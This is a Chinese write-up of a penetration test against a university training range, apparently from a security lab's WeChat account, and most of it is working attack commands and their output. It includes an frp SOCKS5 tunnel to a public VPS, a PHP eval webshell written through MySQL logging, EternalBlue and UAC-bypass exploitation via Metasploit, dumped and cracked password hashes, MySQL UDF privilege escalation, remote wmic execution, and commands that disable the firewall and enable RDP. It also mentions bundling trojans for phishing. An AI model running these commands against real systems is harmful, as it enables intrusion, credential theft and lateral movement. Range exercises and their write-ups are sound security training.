|
0x01 前言
首先我们根据攻击A组群里发的两份文档简单做了张图便于自己在渗透测试过程中查看,通过Zerotier客户端加入靶场内部网络并成功连接到Kali攻击机。
0x02 第一阶段(192.168.2.244)
nohup ./frpc -c frpc.ini &
frpc.ini客户端配置文件:
[common]
server_addr = 156.***.**.194 -(公网VPS)
server_port = 1080
[plugin_socks]
type = tcp
remote_port = 8088
plugin = socks5
use_encryption = true
use_compression = true
plugin_user = test
plugin_passwd = test123
公网VPS执行服务端:
nohup ./frps -c frps.ini &
[common]
bind_port = 1080
show global variables like "%genera%";
set global general_log='on';
SET global general_log_file='C:/phpStudy/PHPTutorial/WWW/cmd.php';
SELECT "<?php $z0=str_replace('@set_magic_quotes_runtime(0);','',base64_decode($_POST['z0']));$_POST['z0']=base64_encode($z0);@eval($_POST['cmd']);?>";
set global general_log='off';
pass=@eval(base64_decode($_POST[z0]));&z0=@ini_set("display_errors","0");@set_time_limit(0);@set_magic_quotes_runtime(0);echo("->|");;$D=dirname($_SERVER["SCRIPT_FILENAME"]);if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);$R="{$D}t";if(substr($D,0,1)!="/"){foreach(range("A","Z") as $L)if(is_dir("{$L}:"))$R.="{$L}:";}$R.="t";$u=(function_exists('posix_getegid'))?@posix_getpwuid(@posix_geteuid()):'';$usr=($u)?$u['name']:@get_current_user();$R.=php_uname();$R.="({$usr})";print $R;;echo("|<-");die();
0x03 第二阶段(192.168.3.X段)
meterpreter > run get_local_subnets
meterpreter > run autoroute -s 192.168.3.0/255.255.255.0
[192.168.3.9:445 - Host is likely VULNERABLE to MS17-010! - Windows 10 Pro 10240 x64 (64-bit) ]
[192.168.3.16:445 - Host is likely VULNERABLE to MS17-010! - Windows 10 Pro 10240 x64 (64-bit) ]
[192.168.3.20:445 - Host is likely VULNERABLE to MS17-010! - Windows 10 Pro 10240 x64 (64-bit) ]
[192.168.3.23:445 - Host is likely VULNERABLE to MS17-010! - Windows 10 Pro 10240 x64 (64-bit) ]
[192.168.3.34:445 - An SMB Login Error occurred while connecting to the IPC$ tree. ]
[192.168.3.43:445 - Host is likely VULNERABLE to MS17-010! - Windows 7 Ultimate 7601 Service Pack 1 x64 (64-bit) ]
msf5 exploit(windows/smb/ms17_010_eternalblue) > set payload windows/x64/meterpreter/bind_tcp
msf5 exploit(windows/smb/ms17_010_eternalblue) > set rhost 192.168.3.43
msf5 exploit(windows/smb/ms17_010_eternalblue) > set lport 4444
msf5 exploit(windows/smb/ms17_010_eternalblue) > exploit
meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 - [空密码]
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 - [空密码]
betasec:1026:aad3b435b51404eeaad3b435b51404ee:2e8649b746f9425839d240a43dece3cf - 3had0w!@#123
user106:1000:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0 - [空密码]
meterpreter > portfwd add -r 192.168.3.43 -p 3389 -l 1234
REG add "HKLMSYSTEMControlSet001ControlLsa" /v LimitBlankPasswordUse /t REG_DWORD /d 0 /f
msf5 exploit(multi/handler) > use exploit/windows/local/bypassuac_eventvwr
msf5 exploit(windows/local/bypassuac_eventvwr) > set payload windows/meterpreter/bind_tcp
msf5 exploit(windows/local/bypassuac_eventvwr) > set rhost 192.168.3.43
msf5 exploit(windows/local/bypassuac_eventvwr) > set lport 443
msf5 exploit(windows/local/bypassuac_eventvwr) > set session 2
msf5 exploit(windows/local/bypassuac_eventvwr) > exploit
tasklist /svc | findstr "TeamViewer" & sc qc TeamViewer
wmic process where name="TeamViewer.exe" get processid,name,executablepath
TeamViewer ID:1 051 948 915 - TeamViewer Pass:y1ru85
添加IP安全策略:netsh ipsec static add policy name=阻止3389端口
添加IP筛选器名:netsh ipsec static add filterlist name=放行192.168.3.43
添加IP筛选器:netsh ipsec static add filter filterlist=放行192.168.3.43 srcaddr=192.168.3.43 dstaddr=Me dstport=3389 protocol=TCP
添加筛选器操作:netsh ipsec static add filteraction name=放行 action=permit or block
添加IP安全规则:netsh ipsec static add rule name=放行192.168.3.43 policy=阻止3389端口 filterlist=放行192.168.3.43 filteraction=放行
激活指定安全策略:netsh ipsec static set policy name=阻止3389端口 assign=y or n
导出IP安全策略:netsh ipsec static exportpolicy C:WindowsdebugWIAip.ipsec
导入IP安全策略:netsh ipsec static importpolicy C:WindowsdebugWIAip.ipsec
删除所有安全策略:netsh ipsec static del all
这次测试还发现可以在Kali攻击机用FRP开一个Socks5代理,然后在MSF的192.168.2.244会话中用portfwd命令将3389端口转发出来后即可成功绕过IP安全策略进行远程连接。
注:配置Proxifier时建议使用Kali攻击机的Socks5代理,这样会比较稳定。CobaltStrike 192.168.2.244上开启的Socks4代理一时能连,一时不能连,具体原因不明,根据实际情况选择合适方法吧!
192.168.2.244哈希值和明文密码:
beacon> hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:6595b67ca8b2647eecf185cd4984cf9b - Complex921
betasec:1026:aad3b435b51404eeaad3b435b51404ee:2e8649b746f9425839d240a43dece3cf - 3had0w!@#123
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0
kenda:1023:aad3b435b51404eeaad3b435b51404ee:6595b67ca8b2647eecf185cd4984cf9b
mysql:1004:aad3b435b51404eeaad3b435b51404ee:6595b67ca8b2647eecf185cd4984cf9b
phpstudy:1003:aad3b435b51404eeaad3b435b51404ee:8b6f467992fd5105d50aebc26400a897
-
192.168.4.221(攻击机)->192.168.2.244(跳板机)->192.168.3.43(目标机)
一、192.168.3.X段信息搜集
(1) 192.168.3.x段存活主机信息
使用以前改的一个批处理脚本和@K8哥哥的Ladon得到192.168.3.x段存活主机,IP、MAC、主机名、系统版本以及开放端口。
-
项目地址:https://github.com/k8gege/Ladon
(2) 192.168.3.43 FlashFXP信息
在192.168.3.43机器上找到C:Usersuser106Desktop目录结构softFlashFXP5.4.0.3960quick.dat配置文件,通过FlashfxpPasswordDecryptor工具解密得到历史保存的FTP地址、用户名和密码。
-
下载地址:https://securityxploded.com
(3) 192.168.3.x MySQL弱口令
使用@shack2师傅写的SNETCracker超级弱密码检查工具在这个段中跑出3台机器存在MySQL弱口令。
-
项目地址:https://github.com/shack2/SNETCracker
二、192.168.3.X段攻击方式
(1) 通过192.168.2.244上的Socks4代理用Navicat Premium连接192.168.3.24的MySQL,由于这台机器没有开启Web服务,所以我们只能利用UDF方式来进行权限提升,先查看插件目录和是否设置了secure_file_priv,然后将我们UDF.DLL文件以十六进制形式导入到MySQL插件目录,最后创建自定义函数执行命令即可。
select @@plugin_dir;
show global variables like "%secure%";
select hex(load_file('c:\udf.dll')) into dumpfile 'c:\udf_hex.txt';
select 0x-udf_hex.txt into dumpfile "D:\Program Files\MySQL\MySQL Server 5.5\lib\plugin\udf.dll";
create function sys_eval returns int soname 'udf.dll';
select sys_eval('whoami');
drop function sys_eval;
delete from mysql.func where name='sys_eval';
MS17-010高版本利用条件,满足其中一个即可:
条件1利用时需要将Exp中的USERNAME、PASSWORD改为我们找到的普通用户和密码,条件2利用时只需要将Exp中的USERNAME改为目标计算机名即可,有时也会利用失败,多执行几次可能就好了。
1.必须得到目标机器上的一个普通权限用户和密码
1)启用Guest用户:net user guest /active:yes,空密码也可利用。
2.开启一个匿名共享(才能找到可访问的命名管道)
1)新建一个共享并给予Guest或Everyone共享权限(默认Everyone)。
2)高级共享设置->密码包含的共享->关闭密码包含共享(默认为开启状态)。
nmap -sV -O 192.168.0.108 //获取目标计算机名
auxiliary/scanner/smb/pipe_auditor //获取目标可用pipe
0x04 第三阶段(192.168.5.X段)
二、192.168.5.X段攻击方式
(1) 使用SNETCracker检测出来的SSH弱口令成功登录到安恒的明御运维审计与风险控制系统后台,在用户管理处可以看出有几个爆破出来的用户都是部门管理员。
(2) 在没有任何限制的情况下可以直接通过安恒明御运维审计与风险控制系统中的“主机运维”或者用Mstsc连接192.68.5.3:63389进入192.168.1.4日志服务器,但是开启Windows系统防火墙后再连接时就会报错。
0x05 第四阶段(192.168.4.1)
Wmic远程执行命令(无回显):
wmic /node:192.168.1.4 /user:administrator /password:Complex909 process call create "cmd.exe /c whoami"
关闭/开启防火墙:
netsh advfirewall set currentprofile state off
netsh advfirewall set currentprofile state on
开启3389端口:
REG ADD "HKLMSYSTEMCurrentControlSetControlTerminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
0x06 事后总结
(2) 笔者在这次实战打靶过程中发现对较复杂网络环境的内网穿透和渗透能力还是十分不足,本想多花点时间对192.168.3.x段内机器做信息搜集的,最后因笔者和团队成员的能力、时间有限只能搞到这了,听说里边有个大佬在3段上一路“横着走”,我等小菜只有羡慕嫉妒的份。
(3) 本想着打完这个3段就休息不搞了,不过最后还是与团队成员@久久久、@欧根亲王号和@森浩几个老哥一起根据前期搜集的信息和后期社工顺利打通关了。也感谢前期参与的@云顶老哥和团队其他成员提供的一些思路和方法。
(4) 看了攻击B组组长的报告发现他是直接利用Veil-Evasion生成了一个Payload,然后用Pyjoiner将Payload与正常程序捆绑并做了免杀处理,最后利用他们内网邮件系统和社交软件进行木马传播,方法虽然简单,但效果很不错。而我们当时就没想到这样去搞,还在死扛系统和服务漏洞。
- 往期推荐 -
【推荐书籍】
本文始发于微信公众号(贝塔安全实验室):记一次某大学实战靶场渗透测试
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论